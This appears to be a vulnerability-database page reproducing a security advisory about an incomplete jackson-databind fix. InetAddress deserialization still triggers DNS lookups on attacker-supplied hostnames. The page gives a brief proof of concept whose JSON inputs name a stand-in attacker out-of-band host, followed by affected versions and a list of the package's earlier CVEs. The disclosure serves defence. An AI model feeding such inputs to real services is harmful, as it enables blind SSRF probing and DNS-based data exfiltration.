Medium

jackson-databind: Incomplete fix for CVE-2026-54514: eager DNS resolution (SSRF) still present in InetAddress deserialization

  • Disclosed: 28.09.2026
  • Updated: 11.10.2026 13:20

Summary

CVE-2026-54514 (GHSA-hgj6-7826-r7m5) fixed an eager-DNS-resolution / SSRF issue in jackson-databind's deserialization of java.net.InetSocketAddress by switching to InetSocketAddress.createUnresolved(...) (PR #5951, commit 1f5a1037, released in 2.18.8 / 2.21.4 / 3.1.4). That fix did not cover the sibling java.net.InetAddress branch in the very same FromStringDeserializer.Std._deserialize() switch statement, which still calls InetAddress.getByName(value) and therefore performs an eager forward DNS lookup on attacker-controlled input at deserialization time. The fix is incomplete: the same vulnerability class remains reachable through InetAddress.

Details

File: src/main/java/com/fasterxml/jackson/databind/deser/std/FromStringDeserializer.java

Sibling cases in the same switch:

  • Line 357-358 (UNFIXED): case STD_INET_ADDRESS: return InetAddress.getByName(value); // eager forward DNS lookup
  • Line 359-381 + helper at 494-496 (FIXED by PR #5951): protected InetSocketAddress _inetSocketAddress(String host, int port) { // 05-May-2026, tatu: [databind#5951] Prevent DNS lookup: return InetSocketAddress.createUnresolved(host, port); // no DNS }

InetAddress is a registered standard string-like scalar type (FromStringDeserializer.types() line 73; findDeserializer() maps it to STD_INET_ADDRESS at line 119-120). Any value deserialized into an InetAddress-typed target — a plain POJO field, a polymorphic subtype, or a default-typing-permitted slot — reaches InetAddress.getByName(attackerControlledString), which invokes the OS/JVM resolver and performs forward DNS resolution before any application validation.

The parent fix's own added unit test asserts address.isUnresolved() with the comment "should NOT resolve address", confirming that performing DNS resolution during deserialization is precisely the behavior being treated as the vulnerability. The InetAddress branch still violates that property.

Verified against the FIXED released artifact (jackson-databind 2.18.8, from Maven Central): decompiled bytecode shows the InetSocketAddress branch now routes through _inetSocketAddress -> createUnresolved, while InetAddress.getByName is still emitted unchanged in the InetAddress branch.

PoC

Lab-only, zero network egress. Run against the fixed jackson-databind 2.18.8.

A custom JDK InetAddressResolver SPI (Java 18+) counts forward lookups locally and answers with loopback, so no traffic leaves the host:

ObjectMapper m = new ObjectMapper();
// InetSocketAddress (patched): 0 resolver lookups, isUnresolved=true
m.readValue("\"internal-metadata.attacker-oob.example:8080\"", InetSocketAddress.class);
// InetAddress (unpatched sibling): 1 resolver lookup on the attacker host
m.readValue("\"internal-metadata.attacker-oob.example\"", InetAddress.class);

Observed output (jackson 2.18.8): [A] InetSocketAddress isUnresolved=true resolverLookups=0 lastHost=null [B] InetAddress value=localhost/127.0.0.1 resolverLookups=1 lastHost=internal-metadata.attacker-oob.example

A standalone variant (no SPI) using an RFC-6761 .invalid canary host shows the same: deserializing into InetAddress raises UnknownHostException (the OS resolver was invoked), while InetSocketAddress stays unresolved. Full source in PocResolverCount.java and PocInetAddressIncompleteFix.java.

Reachability with a plain field (no annotations, no polymorphism, no default typing): static class Config { public InetAddress bindHost; public int port; } mapper.readValue("{"bindHost":"poc-reach.example","port":1}", Config.class); // -> resolver invoked on "poc-reach.example"

Impact

An attacker who can influence JSON deserialized into an InetAddress target can force the application to perform outbound forward DNS lookups for attacker-chosen hostnames at deserialization time, before any application-level validation. This yields a DNS-based SSRF / OOB primitive: out-of-band exfiltration / interaction via DNS callbacks, and blind probing of whether internal hostnames resolve (internal-host enumeration). This is the same impact class and trust boundary for which CVE-2026-54514 (CVSS 5.3, CWE-918) was assigned to the InetSocketAddress branch. It is a DNS-lookup / blind SSRF primitive, not arbitrary HTTP SSRF or RCE; it does not itself open a socket.

Suggested fix: avoid eager resolution for InetAddress as well — e.g. defer resolution, validate the host string before resolving, or provide an opt-in/opt-out consistent with the InetSocketAddress fix (there is no direct unresolved-InetAddress equivalent, so deferring/validating or documenting the resolution is the practical mitigation).

Credit : Ta Duc Thien

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
Java / Kotlin (Maven) com.fasterxml.jackson.core:jackson-databind >= 2.0.0, < 2.18.9, >= 2.19.0, < 2.21.5, >= 2.22.0, < 2.22.1 2.18.9, 2.21.5, 2.22.1
Java / Kotlin (Maven) tools.jackson.core:jackson-databind >= 3.0.0, < 3.1.5, >= 3.2.0, < 3.2.1 3.1.5, 3.2.1

References

CVSS score 5.3/10
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Weakness (CWE)
CWE-918
Platform
Java / Kotlin (Maven)
Package
com.fasterxml.jackson.core:jackson-databind, tools.jackson.core:jackson-databind
Disclosed
28.09.2026
Updated
11.10.2026 13:20

Sources and licenses

OSV / GitHub Advisory Database - GHSA-vvgp-rfg2-7rr6 - CC BY 4.0

Vulnerability history: com.fasterxml.jackson.core:jackson-databind

All published vulnerabilities of this package (Java / Kotlin (Maven)), newest first. Shows whether this is a one-off slip or a package that needs watching.

All (86) in the archive
Total entries
86
First → latest
10.2018 09.2026
Without a fix
0
Exploited in attacks
0

Severity breakdown

  • Critical 24
  • High 48
  • Medium 14

Disclosures per year

  1. 2018: 4
  2. 2019: 19
  3. 2020: 23
  4. 2021: 18
  5. 2022: 4
  6. 2023: 1
  7. 2024: 0
  8. 2025: 0
  9. 2026: 17
Severity:
  1. High · 7.5 CVE-2026-91777 >= 2.19.0, < 2.21.7, >= 2.5.0, < 2.18.11, >= 2.22.0, < 2.22.3 2.21.7, 2.18.11, 2.22.3
  2. High · 7.5 CVE-2026-91776 >= 2.0.0, < 2.18.11, >= 2.19.0, < 2.21.7, >= 2.22.0, < 2.22.3 2.18.11, 2.21.7, 2.22.3
  3. High · 7.5 CVE-2026-68497 >= 2.14.0, < 2.18.10, >= 2.19.0, < 2.21.6, >= 2.22.0, < 2.22.2 2.18.10, 2.21.6, 2.22.2
  4. jackson-databind: Incomplete fix for CVE-2026-54514: eager DNS resolution (SSRF) still present in InetAddress deserialization this entry
    Medium · 5.3 CVE-2026-77310 >= 2.0.0, < 2.18.9, >= 2.19.0, < 2.21.5, >= 2.22.0, < 2.22.1 2.18.9, 2.21.5, 2.22.1
  5. High · 8.1 CVE-2026-54513 >= 2.10.0, < 2.18.8, >= 2.19.0, < 2.21.4, >= 3.0.0, < 3.1.4 2.18.8, 2.21.4, 3.1.4
  6. High · 8.1 CVE-2026-54512 >= 2.10.0, < 2.18.8, >= 3.0.0, < 3.1.4, >= 2.19.0, < 2.21.4 2.18.8, 3.1.4, 2.21.4
  7. High · 7.5 CVE-2021-46877 >= 2.10.0, < 2.12.6, >= 2.13.0, < 2.13.1 2.12.6, 2.13.1
  8. High · 7.5 CVE-2022-42003 >= 2.4.0-rc1, < 2.12.7.1, >= 2.13.0, < 2.13.4.2 2.12.7.1, 2.13.4.2
  9. High · 7.5 CVE-2022-42004 >= 2.4.0-rc1, < 2.12.7.1, >= 2.13.0, < 2.13.4 2.12.7.1, 2.13.4
  10. High · 8.1 CVE-2020-10650 < 2.9.10.4 2.9.10.4
  11. High · 7.5 CVE-2020-36518 >= 2.13.0, < 2.13.2.1, < 2.12.6.1 2.13.2.1, 2.12.6.1
  12. High · 8.1 CVE-2020-36189 >= 2.7.0, < 2.9.10.8, < 2.6.7.5 2.9.10.8, 2.6.7.5
  13. High · 8.1 CVE-2020-36187 >= 2.0.0, < 2.9.10.8 2.9.10.8
  14. High · 8.1 CVE-2020-36188 >= 2.7.0, < 2.9.10.8, >= 2.0.0, < 2.6.7.5 2.9.10.8, 2.6.7.5
  15. High · 8.1 CVE-2020-36183 >= 2.7.00, < 2.9.10.8, >= 2.0.0, < 2.6.7.5 2.9.10.8, 2.6.7.5
  16. High · 8.1 CVE-2020-36184 >= 2.0.0, < 2.9.10.8 2.9.10.8
  17. High · 8.1 CVE-2020-36180 >= 2.7.0, < 2.9.10.8, >= 2.0.0, < 2.6.7.5 2.9.10.8, 2.6.7.5
  18. High · 8.1 CVE-2020-36181 >= 2.7.0, < 2.9.10.8, >= 2.0.0, < 2.6.7.5 2.9.10.8, 2.6.7.5
  19. High · 8.1 CVE-2020-36185 >= 2.0.0, < 2.9.10.8 2.9.10.8
  20. High · 8.1 CVE-2020-36179 >= 2.7.0, < 2.9.10.8, >= 2.0.0, < 2.6.7.5 2.9.10.8, 2.6.7.5
  21. High · 8.1 CVE-2020-36182 >= 2.7.0, < 2.9.10.8, >= 2.0.0, < 2.6.7.5 2.9.10.8, 2.6.7.5
  22. High · 8.1 CVE-2020-24750 >= 2.0, < 2.6.7.5, >= 2.7.0, < 2.9.10.6 2.6.7.5, 2.9.10.6
  23. High · 8.1 CVE-2020-35728 >= 2.0.0, < 2.9.10.8 2.9.10.8
  24. High · 8.1 CVE-2020-35491 >= 2.0.0, < 2.9.10.8 2.9.10.8
  25. High · 8.1 CVE-2020-35490 >= 2.0.0, < 2.9.10.8 2.9.10.8
  26. High · 8.1 CVE-2020-24616 >= 2.0.0, < 2.9.10.6 2.9.10.6
  27. High · 8.1 CVE-2020-36186 >= 2.0.0, < 2.9.10.8 2.9.10.8
  28. High · 7.5 CVE-2020-25649 >= 2.6.0, < 2.6.7.4, >= 2.7.0.0, < 2.9.10.7, >= 2.10.0.0, < 2.10.5.1 2.6.7.4, 2.9.10.7, 2.10.5.1
  29. High · 8.1 CVE-2021-20190 >= 2.7.0, < 2.9.10.7, < 2.6.7.5 2.9.10.7, 2.6.7.5
  30. High · 8.1 CVE-2018-5968 >= 2.8.0, < 2.8.11.1, >= 2.9.0, < 2.9.4, < 2.7.9.5 2.8.11.1, 2.9.4, 2.7.9.5
  31. High · 8.1 CVE-2020-14061 >= 2.9.0, < 2.9.10.5 2.9.10.5
  32. High · 8.1 CVE-2020-14062 >= 2.9.0, < 2.9.10.5 2.9.10.5
  33. High · 8.1 CVE-2020-14060 >= 2.9.0, < 2.9.10.5 2.9.10.5
  34. High · 8.1 CVE-2020-14195 >= 2.9.0, < 2.9.10.5 2.9.10.5
  35. High · 7.5 CVE-2018-12023 >= 2.7.0, < 2.7.9.4, >= 2.8.0, < 2.8.11.2, >= 2.9.0, < 2.9.6 2.7.9.4, 2.8.11.2, 2.9.6
  36. Critical · 9.8 CVE-2019-17267 >= 2.9.0, < 2.9.10, < 2.8.11.5 2.9.10, 2.8.11.5
  37. High · 8.8 CVE-2020-11112 >= 2.9.0, < 2.9.10.4 2.9.10.4
  38. Critical · 9.8 CVE-2020-9547 >= 2.9.0, < 2.9.10.4, >= 2.8.0, < 2.8.11.6, >= 2.0.0, < 2.7.9.7 2.9.10.4, 2.8.11.6, 2.7.9.7
  39. High CVE-2019-14893 >= 2.9.0, < 2.9.10 2.9.10
  40. High · 8.8 CVE-2020-10673 >= 2.7.0, < 2.9.10.4, >= 2.0.0, < 2.6.7.4 2.9.10.4, 2.6.7.4
  41. Critical · 9.8 CVE-2020-9548 >= 2.9.0, < 2.9.10.4, >= 2.8.0, < 2.8.11.6, >= 2.0.0, < 2.7.9.7 2.9.10.4, 2.8.11.6, 2.7.9.7
  42. High · 7.5 CVE-2019-14892 < 2.6.7.3, >= 2.7.0, < 2.8.11.5, >= 2.9.0, < 2.9.10 2.6.7.3, 2.8.11.5, 2.9.10
  43. High · 8.8 CVE-2020-10968 >= 2.9.0, < 2.9.10.4 2.9.10.4
  44. High · 8.8 CVE-2020-11111 >= 2.9.0, < 2.9.10.4 2.9.10.4
  45. High · 8.8 CVE-2020-11113 >= 2.9.0, < 2.9.10.4 2.9.10.4
  46. High · 8.1 CVE-2020-11619 >= 2.9.0, < 2.9.10.4 2.9.10.4
  47. High · 8.8 CVE-2020-10969 >= 2.9.0, < 2.9.10.4 2.9.10.4
  48. Critical · 9.8 CVE-2020-9546 >= 2.9.0, < 2.9.10.4 2.9.10.4
  49. High · 8.1 CVE-2020-11620 >= 2.9.0, < 2.9.10.4 2.9.10.4
  50. High · 8.8 CVE-2020-10672 >= 2.9.0, < 2.9.10.4 2.9.10.4
  51. Critical · 9.8 CVE-2020-8840 >= 2.0.0, < 2.6.7.4, >= 2.7.0, < 2.7.9.7, >= 2.8.0, < 2.8.11.5, >= 2.9.0, < 2.9.10.3 2.6.7.4, 2.7.9.7, 2.8.11.5, 2.9.10.3
  52. Critical · 9.8 CVE-2019-20330 >= 2.0.0, < 2.6.7.4, >= 2.7.0, < 2.7.9.7, >= 2.8.0, < 2.8.11.5, >= 2.9.0, < 2.9.10.2 2.6.7.4, 2.7.9.7, 2.8.11.5, 2.9.10.2
  53. Critical · 9.8 CVE-2019-17531 >= 2.9.0, < 2.9.10.1, >= 2.7.0, < 2.8.11.5, < 2.6.7.3 2.9.10.1, 2.8.11.5, 2.6.7.3
  54. Critical · 9.8 CVE-2019-16943 >= 2.9.0, < 2.9.10.1, >= 2.7.0, < 2.8.11.5, < 2.6.7.3 2.9.10.1, 2.8.11.5, 2.6.7.3
  55. Critical · 9.8 CVE-2019-16942 >= 2.9.0, < 2.9.10.1, >= 2.7.0, < 2.8.11.5, >= 2.0.0, < 2.6.7.3 2.9.10.1, 2.8.11.5, 2.6.7.3
  56. Critical · 9.8 CVE-2019-16335 >= 2.9.0, < 2.9.10, >= 2.7.0, < 2.8.11.5, < 2.6.7.3 2.9.10, 2.8.11.5, 2.6.7.3
  57. Critical · 9.8 CVE-2019-14540 >= 2.9.0, < 2.9.10, >= 2.7.0, < 2.8.11.5, < 2.6.7.3 2.9.10, 2.8.11.5, 2.6.7.3
  58. High · 7.5 CVE-2019-14439 >= 2.9.0, < 2.9.9.2, >= 2.8.0, < 2.8.11.4, >= 2.7.0, < 2.7.9.6, < 2.6.7.3 2.9.9.2, 2.8.11.4, 2.7.9.6, 2.6.7.3
  59. Critical · 9.8 CVE-2019-14379 >= 2.9.0, < 2.9.9.2, >= 2.8.0, < 2.8.11.4, < 2.7.9.6 2.9.9.2, 2.8.11.4, 2.7.9.6
  60. Critical · 9.8 CVE-2018-11307 >= 2.0.0, < 2.7.9.4, >= 2.8.0, < 2.8.11.2, >= 2.9.0, < 2.9.6 2.7.9.4, 2.8.11.2, 2.9.6
Show more (13) Showing 60 of 73

Know which vulnerabilities affect your application

With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.

Connect your application
DockRay newsletter

Application security in your inbox

Important vulnerabilities, actionable guidance and practical advice for your applications. Choose your technologies and follow what matters to your project.

  • A daily digest of new vulnerabilities, critical ones included.
  • Notifications about important updates.
  • Practical advice on application security and monitoring.

Leave empty to receive updates for every technology.

Free to subscribe. Unsubscribe with one click in any email.